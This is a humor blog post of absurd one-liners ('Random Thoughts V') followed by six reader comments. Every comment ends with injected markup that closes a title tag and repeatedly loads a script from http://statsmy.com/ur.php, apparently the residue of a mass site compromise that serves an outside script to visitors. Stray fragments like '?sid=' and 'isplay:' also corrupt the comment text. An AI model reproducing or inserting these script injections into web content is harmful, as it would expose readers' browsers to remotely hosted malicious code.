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Random Thoughts V
by Kris on 2/10/2004 (6)

Like many other people from all over Earth and deep into space, I sometimes think things... deep, meaningfull things. Other times whimsical, crazy, or down right insane things. Whatever way you look at it, here is a listing of many of these things I have thought.

In the future, the world will be exactly like Rockem Sockem Robots.

If we learned anything from the XFL, it's that if you have millions of dollars, you can create a sub par football league that will inevitably collapse upon itself within a year of it's inception.

Even bad weather can't spoil a good game of ping pong.

This past Christmas, I put out a bear trap near the tree to try and catch Santa. Instead, I caught a bear. I guess it's all for the best though, that bear was really starting to make a mess out of my house.

I've very afraid that one day, Pop Tarts will turn the tables and make us humans their delicious breakfast treat.

Before teenagers had sniffing glue, I don't really know what they did to occupy their time, though I suspect it may have been badminton.

I think the world would be a very different place if there were more Vampires.

If I was ever announced as being from Toronto, Canada, I would have to correct the announcer because I am not from Toronto, Canada.

I feel that the Return of the Jedi is the most realistic movie ever made. I also feel that one night, I will be killed in my sleep by green beans.

I am not afraid of an army of sharks attacking, because if they do, I'll just hide in the mountains. Everyone knows that sharks hate mountains.

Lamps may provide us with light, but I still don't trust them. I know they're up to something.

I wish I had something that was worth twice it's weight in gold, unless it was a feather, because they don't hardly weigh anything and it'd probably only be worth a buck or two.

All your worries go away when you're sleeping under a pool table.

Winter would be great if it wasn't so cold, so long, and there wasn't so much snow. And quite frankly, the polar bears don't help either.

I trained in an employee at one of my jobs once. I never taught him how to do his job right and he was fired shortly afterward, but I think he learned a valuable lesson and I never had to train anyone again.

I've always wanted to have a nice pair of shoes. People can take your money, take your dignity, and take your wife, but no one can ever take away your shoes.

If I ran a multimillion dollar company, I'd give all my employees expensive Christmas bonuses that would drive the company into bankruptcy. Then I'd force the employees to work for the numerous peanut shells I've accumulated over the years. I guess that's why I don't run such a company though... that and my numerous arrests for harboring illegally imported fruit.

There are alot of breakfast cereals out there, but I still can't find anything flavored like chicken and nacho cheese.

I think my toaster is haunted.

Lemonade is perhaps the greatest thing ever to be made out of lemons.
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1. by Mel S. on 3/1/2007 4:52:29 PM
Haunted toasters are the worst. I had the ghost of Gene Simmons insead my toaster for months, which is weird because I've heard he's got a fear of toasted bread, and plus he's not dead.u </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
2. by feaglin on 3/1/2007 4:52:29 PM
I think that 'meaningfully' is an adverb. That means that 'meaningfully things' is wrong, unless 'things' is a verb... I think 'He things his P&J-sandwich with it' is a perfect sentece so never mind. Still, it's just a thought. Wow, I just had another one! wooow...?sid= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
3. by Kris on 3/1/2007 4:52:29 PM
Fixed the "meaningfully" thing... that's what happens when you create your intro by editing an intro from a previous article.isp </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
4. by feaglin on 3/1/2007 4:52:29 PM
damn articles...isplay: </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
5. by Incredibly depressed fan on 3/1/2007 4:52:29 PM
This is the worst random thoughts to date. The first 3 were awesome, but this one isn't funny at all and I just wasted 3 minutes of my pathetic life reading it.?sid= </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>
6. by Kris on 3/1/2007 4:52:29 PM
That makes me sad... and when I get sad, I cry. Then I write an even better article that makes people say "damn that's a spicy meatball!""0" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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